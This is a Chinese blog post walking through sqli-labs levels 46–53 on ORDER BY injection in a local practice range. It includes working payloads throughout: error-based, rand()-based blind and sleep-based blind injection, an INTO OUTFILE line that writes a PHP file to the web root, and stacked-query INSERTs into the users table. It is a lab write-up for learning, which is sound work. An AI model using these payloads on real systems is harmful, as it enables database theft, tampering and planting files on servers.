靶场练习-Sqli-labs通关记录(排序类型)(46-54关)

0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

 

0x03 排序类型

简介:sort排序,在mysql中,有升序与降序之说。

手动指定按照username由小到大排序(升序关键字 asc)

 

 手动指定按照username由小到大排序(降序关键字 desc)

 

(46)第四十六关:

sort为排序的关键字,我们继续查看一下源码:

 

 

 就那么一句话,order by后面接数字,跟上面所述的原理差不多的,只要修改该列的名字,加上排序方式,拼接在一起就能完整的注入:

 

 

 然后这里可以使用报错注入、延时注入等:order by 1,是指按照第一列排序显示,by 2就是按照第二列显示:

报错注入:

(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
(select extractvalue(1,concat(0x7e,(select user()),0x7e)))

 

 

 

 报错注入能用的话,其他的再试试延时注入:

rand(true)和 rand(false)结果是不一样,这个标志可以用来进行延时注入

 

 

 rand是生成随机数的意思:true为真,是1,即为生成0~1之间的小数:

 

 

 

 

 

 且生成的值一直都是同一个,这样用于排序试试:

false:

 

 true:

 

 所以,我们只要使用rand,然后里面放会返回true与false的语句即可:为true时,回显会正常的排序;

 

为false时,回显会是false的排序,这样就可以达到盲注的效果:

 

 

 在17关那篇文章中,也使用了if作为盲注的测试语句,这里同样可以进行if的盲注,延时注入确实是很费时间:

1 and If(ascii(substr(database(),1,1))=115,1,sleep(5)) 

 

 

 

正常的情况是一秒就出结果了:

 没有超时判断的话还是可以使用延时注入。

 

(47)第四十七关:

由于延时注入比较耗时,以下的练习均采用报错注入,除非没法使用了:

 

 

 加了个逗号闭合而已:

1' and (select extractvalue(1,concat(0x7e,(select user()),0x7e)))--+

 

(48)第四十八关:

 

 第48关没有了报错回显:就是下面这条语句:

 

 因此不能再使用报错注入,我们试试那个ascii的true与false:

rand(ascii(left(database(),1))=115)

因为本来页面就会出现排序的内容,所以可以以页面排序显示的内容来判定库表列的ascii码值:

为true时:

 

 为false时:

 

 

 

(49)第四十九关:

与48关唯一的差别就是闭合语句多了个逗号:

 

 这里因为有个'号,因此最好不要使用rand来进行排序了,因为不管是对是错,他都会执行排序:

 

 因此我们可以试试延时注入:

1' and (If(ascii(substr((select username from users where id=1),1,1))=69,1,sleep(5)))--+

 

 为false的又是很慢才能显示,可能是我环境的问题:

 

 知道路径的话还可以用写入文件的方式,路径要怎么得到呢,报错试试吧,让你的web页面报错,然后如果能找到这种排序的地方,就可以尝试进行注入:

1' into outfile "www的路径\\test. php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

 

写入成功:

 

 

(50)第五十关:

mysqli_multi_query()函数,而之前我们使用的是 mysqli _query(),区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行 一个 sql 语句

 

 

 看到源码这里使用的函数了吗,可以执行多条语句:

?sort=1;insert into users(id,username,password) values ('50','less50','welcome')--+

 

 再查一下应该可以直接回显,如下图所示:

 

(51)第五十一关:

相对于50关就加了个逗号闭合语句:

 

?sort=1';insert into users(id,username,password) values ('51','less51','happy')--+

 

 

 

 再排序一下:

 

(52)第五十二关:

已经没有报错语句提示了:

 

没有了这个,故只能通过前台页面展示的查询一下:

 

 

?sort=1;insert into users(id,username,password) values ('52','less52','520250')--+

 

 

(53)第五十三关:

同样的,堆注入,闭合语句变了,没有了报错显示:

 

?sort=1';insert into users(id,username,password) values ('53','less53','535353')--+

 

posted @ 2021-11-16 16:03  铺哩  阅读(140)  评论(0编辑  收藏  举报